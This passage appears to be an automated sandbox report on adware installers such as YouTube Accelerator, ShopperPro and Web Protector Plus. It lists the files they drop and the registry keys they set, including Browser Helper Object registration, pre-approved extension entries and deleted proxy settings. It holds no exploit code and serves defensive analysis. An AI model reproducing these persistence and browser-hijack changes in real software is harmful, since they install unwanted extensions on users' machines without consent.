C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\LiveUpdateWPP_is[1].exe (17248 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[4].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy736C.tmp (29413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gp.up (68 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ZipDLL.dll (3608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\DaysPassed.js (1 bytes)

The process YouTubeAcceleratorService.exe:3856 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBCCB2A.tmp (98 bytes)
C:\Windows\Temp\SBCD29D.tmp (44 bytes)
C:\Windows\Temp\SBCB7FE.tmp (547 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3856.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3856_YouTubeAcceleratorService.log (247685 bytes)
C:\Windows\Temp\SBCCD4D.tmp (44 bytes)
C:\Windows\Temp\SBCF29D.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\ProgramData\TEMP:56E2E879 (240 bytes)
C:\Windows\Temp\SBCD173.tmp (98 bytes)
C:\Windows\Temp\SBCD9DE.tmp (51193 bytes)

The process YouTubeAcceleratorService.exe:2800 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process GLB9730.tmp:2764 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ979E.tmp (6 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC978D.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK99A2.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM9BA5.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF9FBE.tmp (12 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG9FAD.tmp (93268 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)

The process BF77.tmp:1588 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\NSISEncrypt.dll (3350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp841E.tmp\UserInfo.dll (8 bytes)

The process INS_SENSE.EXE:3792 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\Hxvjeflzavnv.tmp (371988 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\dkhbofocf.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\lwfjntrs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\mhuec.dll (2136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoF8EF.tmp\Hibqtpj.exe (3071482 bytes)

The process taskeng.exe:3560 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe (291 bytes)

The process ctmpua.exe:712 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\23B523C9E7746F715D33C6527C18EB9D (724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\index[1].htm (845 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\hatter[1].js (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\23B523C9E7746F715D33C6527C18EB9D (1056 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8059E9A0D314877E40FE93D8CCFB3C69_A1CC53D3708B86D614A83D7FE93FAB48 (1432 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8059E9A0D314877E40FE93D8CCFB3C69_A1CC53D3708B86D614A83D7FE93FAB48 (463 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\828298824EA5549947C17DDABF6871F5_4A500E9AA7C5573906560F21D53A5861 (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\jquery.min[2].js (47807 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\828298824EA5549947C17DDABF6871F5_4A500E9AA7C5573906560F21D53A5861 (1312 bytes)

The process ytaiesmt_smtyc_setup.exe:3196 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8131.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\4D90EAE405E9E2FF (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso8132.tmp\D1989.dll (30 bytes)

The process jsdrv.exe:2700 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

Registry activity

The process WerFault.exe:4080 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 A3 00"

The process WerFault.exe:3360 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 A3 00"

The process WerFault.exe:3372 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 A3 00"

The process ClientToMobilePlatform.exe:4432 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Ê«"

The process aints.exe:2172 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WebProtectorPlus]
"DisplayName" = "Web Protector Plus (uninstall only)"
"UninstallString" = "%Program Files% (x86)\WebProtectorPlus\uninstall.exe"

[HKLM\SOFTWARE\WebProtectorPlus\Uninst]
"Install_Dir" = "%Program Files% (x86)\WebProtectorPlus"

The process aints.exe:2244 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WebProtectorPlus]
"DisplayName" = "Web Protector Plus (uninstall only)"
"UninstallString" = "%Program Files% (x86)\WebProtectorPlus\uninstall.exe"

[HKLM\SOFTWARE\WebProtectorPlus\Uninst]
"Install_Dir" = "%Program Files% (x86)\WebProtectorPlus"

The process aints.exe:3748 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WebProtectorPlus]
"DisplayName" = "Web Protector Plus (uninstall only)"
"UninstallString" = "%Program Files% (x86)\WebProtectorPlus\uninstall.exe"

[HKLM\SOFTWARE\WebProtectorPlus\Uninst]
"Install_Dir" = "%Program Files% (x86)\WebProtectorPlus"

The process YTAHelper.exe:3100 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator\ExtraInfo]
"DBVersion" = "1.0.0.1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EE B2 E6 8C 27 83 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"UserId" = "%%PIXGUID(aff=smtyc"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "1.5.4.199"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process smt_istartsurf.exe:3364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EA 42 19 4A 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "30 A5 A7 4E 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

